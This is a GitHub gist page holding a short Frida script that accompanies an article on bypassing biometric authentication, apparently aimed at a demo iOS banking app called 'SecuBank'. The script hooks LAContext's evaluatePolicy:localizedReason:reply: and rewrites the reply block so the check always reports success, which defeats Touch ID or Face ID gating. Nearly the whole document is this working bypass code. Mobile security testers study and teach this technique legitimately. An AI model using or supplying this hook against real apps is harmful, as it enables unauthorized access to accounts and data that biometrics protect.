Skip to content

Instantly share code, notes, and snippets.

@r3ggi
Created November 25, 2019 13:45
Show Gist options
  • Save r3ggi/40c252b1e96fd6664f38077c7b90dfa2 to your computer and use it in GitHub Desktop.
Save r3ggi/40c252b1e96fd6664f38077c7b90dfa2 to your computer and use it in GitHub Desktop.
[Bypassing biometrics article] SecuBank Frida bypass
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value) {
console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment